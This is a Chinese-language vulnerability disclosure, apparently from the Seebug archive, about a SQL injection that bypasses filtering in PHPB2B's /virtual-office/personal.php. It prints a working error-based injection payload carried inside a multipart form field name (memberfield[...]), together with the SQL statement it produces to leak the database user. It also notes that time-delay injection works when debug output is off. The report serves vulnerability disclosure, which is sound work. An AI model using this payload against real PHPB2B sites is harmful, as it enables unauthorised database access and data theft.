PHPB2B注入#2(绕过过滤)

### 简要描述： PHPB2B某处注入#1。绕过过滤。 官方最新版本. https://github.com/ulinke/phpb2b/archive/master.zip 漏洞文件。 ### 详细说明： POST /virtual-office/personal.php Content-Disposition: form-data; name="memberfield[first_name]" Content-Disposition: form-data; name="memberfield[last_name]" ... ... first_name,last_name,gender,address,zipcode,qq,icq,msn,yahoo,skype,tel,fax,mobile,site_url,area_id 等未过滤。 提交 Content-Disposition: form-data; name="memberfield[first_name FROM pb_thk_memberfields where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#]" 执行： SELECT first_name FROM pb_thk_memberfields where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#,last_name,gender,address,zipcode,qq,icq,msn,yahoo,skype,tel,fax,mobile,site_url,area_id FROM pb_thk_memberfields WHERE member_id='3' ### 漏洞证明： 本地开启debug。默认不开启，可延时注入。 [<img src="https://images.seebug.org/upload/201410/25021853dc49f3f960cc38cfd6a216975669eeaf.jpg" alt="p1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/25021853dc49f3f960cc38cfd6a216975669eeaf.jpg) 数据库日志。 [<img src="https://images.seebug.org/upload/201410/25021951a6cc2493d7a014d8933e09f0f9a9934c.png" alt="p.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/25021951a6cc2493d7a014d8933e09f0f9a9934c.png)